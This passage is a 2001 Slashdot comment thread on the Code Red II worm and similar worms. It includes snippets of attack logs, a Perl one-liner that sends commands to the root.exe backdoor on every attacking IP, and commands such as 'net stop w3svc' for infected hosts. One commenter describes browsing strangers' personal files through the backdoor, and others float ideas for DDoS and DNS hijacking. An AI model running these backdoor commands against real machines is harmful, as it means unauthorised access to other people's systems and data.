    206.218.150.55 - - [05/Aug/2001:14:09:57 -0700] "GET /default.ida?NNNNNNNNNNNNN$
    65.3.84.67 - - [05/Aug/2001:14:10:06 -0700] "GET /default.ida?XXXXXXXXXXXXXXXXX$
    65.11.72.158 - - [05/Aug/2001:14:12:45 -0700] "GET /default.ida?XXXXXXXXXXXXXXX$
    65.3.200.229 - - [05/Aug/2001:14:14:12 -0700] "GET /default.ida?XXXXXXXXXXXXXXX$
    65.3.214.216 - - [05/Aug/2001:14:14:17 -0700] "GET /default.ida?XXXXXXXXXXXXXXX$
    65.25.173.24 - - [05/Aug/2001:14:14:20 -0700] "GET /default.ida?XXXXXXXXXXXX

    All this crap is coming mostly from the @home Class A.

  593. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  594. There's been stacks of Unix worms this year by Nailer · · Score: 2

    There's been stacks of Unix worms this year:

    * l10n
    * adore
    * Red Worm
    and a whole bunch of variants.

    And there will be more in the future as Linux becomes more mainstream. A virtus would also be compltely possible - sure, default permissions mean a virtus acting on behalf of an ordinary user can't do nasty thigns to `cp', but it can delete that users last 5 years of work.

    Linux still lacks a real permission system, and there are unfotunately still many apps which run with unnecessary root privileges, rather than single-root-cpomponent (think Postfix) or 2.4s capabilities (think ProFTPd).

    1. Re:There's been stacks of Unix worms this year by SpeelingChekka · · Score: 1

      And there will be more in the future as Linux becomes more mainstream

      Apache already runs more than half (another survey here) the web servers on the Internet, yet the major worms are still the IIS ones. Roughly 25 to 35 percent of web servers are running Linux, about the same as IIS. So by your reasoning, Linux and/or Apache should already currently be seeing as many Code Red style worms. Yet the IIS worms manage to infect thousands of times more machines.

      Even if Linux was used on 80% of desktop systems, we still wouldn't see as many Linux worms/viruses as we do on Windows. Why? Simple, there are just so many more layers of protection built into the OS that make it harder for viruses to spread. We'd see a lot more than we do now, sure, but it will never get anywhere near the levels it has reached on Windows, where literally hundreds of new viruses are created every single day, and viruses with very widespread infections are roughly a weekly occurence now.

    2. Re:There's been stacks of Unix worms this year by SpeelingChekka · · Score: 1

      Here are some more stats, although two years old now, Linux was at 31.3% and had the highest growth rate of all systems on that survey.

  595. Confirmed, working PHP counter by Heretic2 · · Score: 1

    As always, it's being improved, but I've verified this script works on my server:

    CodeRed Counter Script
    The Logs, note Confirmation Log.

    Now I just need to figure out that win32 command line to set the IP address to 10.1.2.3.

  596. Bombarded with ARPs by Gothmolly · · Score: 1

    My cable modem is getting flooded by ARP requests from the @Home routers.

    --
    I want to delete my account but Slashdot doesn't allow it.
  597. Re:Why are unix hosts getting hit so hard with thi by yzquxnet · · Score: 1

    Oh hell, I blew that file away a long time ago. When I set up IIS I wasn't about to get screwed over by a bunch of default settings. I wiped out all the presets and defaults and started from scratch. Directory structure, user persmisions, file permissions, the whole works.

  598. Re:Now that is funny? by Anonymous Coward · · Score: 0

    Someone explain this to me.

  599. Re:Now that is funny? by Anonymous Coward · · Score: 0

    Apache Blvd, ok, I get it now... its the heat, really...

  600. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0
    Try net send 127.0.0.1 Your system has been compromised

    I'd like to add to that... "net send 127.0.0.1 Your system has been compromised. Please install Linux (or BSD or whatever) to correct."

  601. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    You mean RH 6.2. My RH 7.0 box is still running 24/7 unpatched, because the only things listening by default are apache and identd.

    I trust apache, and I find it difficult to believe someone could fuck up identd.

  602. Network DDoS by Anonymous Coward · · Score: 0

    I haven't seen a post on this and I hope I don't spark the idea, but I think a bigger threat, other than being an individual target of 100,000 UDP packets, is running a broadcast ping from these machines. Talk about generating a lot of network traffic. For those who are trying to slow the spread of this problem by 'fixing' remote machines, you might want to rename ping.exe to something else just so it's not used, since the machine is broken anyway....

    - Posted anonymously so I don't get accused of 'encouraging' anything. Not that I'd be found guilty, I just can't afford the court fees.

  603. Re:A few more details:It's a root trojan by Mawbid · · Score: 1

    The funny thing is, it would be illegal to help in this way.

    --
    Fuck the system? Nah, you might catch something.
  604. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0
    http://cracked-luser/scripts/root.exe?/C%20dir%20c :\

    I've spent the last few hours being nosy as the worm spreads through 64.111.*.*. The backdoor appears to not be a rootkit, exactly, as I've encountered 'Access Denied' messages while poking around in people's files. Maybe the worm just runs with the Web server's permissions. Don't know much about NT.

    I see a lot of evidence that nobody is really maintaining these boxes. They're littered with FOUND.nnn directories and questionable software. I saw installations of AOL 4.0 (!), 6.0, ICQ and Instant Messenger, and games like HL: Opposing Force on lots of corporate servers. It looks like a lot of these servers are also people's personal workstations; I found the details of some poor bastard's order from nike.com, along with other personal financial files. They're lucky I'm just a bored wanna-be hacker instead of some luser cracker who gets off on messing up other people's boxen.

  605. DNS redirects? by Anonymous Coward · · Score: 0

    Does this exploit give enough rights to modify the hosts file or DNS configuration for DNS servers? Could you redirect users of some popular e-commerce and/or banking sites to fake sites? Bit of trouble, but might get lots of credit card information etc. Hell, you could even run fake sites off other infected boxes, and if you have the rights, just wipe the logs yourself.

  606. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    net stop w3svc stops their iis

  607. easy way to suggest a fix by Anonymous Coward · · Score: 0


    batcomputer# fgrep 'default.ida?XXX' /usr/local/apache/logs/access_log | awk '{print $1}' | sort | uniq | \
    perl -ne 'use LWP::Simple; chomp; get("http://$_/scripts/root.exe?/c+start+http://ww w.timecube.com")'

    oops typo i mean

    batcomputer# fgrep 'default.ida?XXX' /usr/local/apache/logs/access_log | awk '{print $1}' | sort | uniq | \
    perl -ne 'use LWP::Simple; chomp; get("http://$_/scripts/root.exe?/c+start+http://ww w.digitalisland.com/codered/")'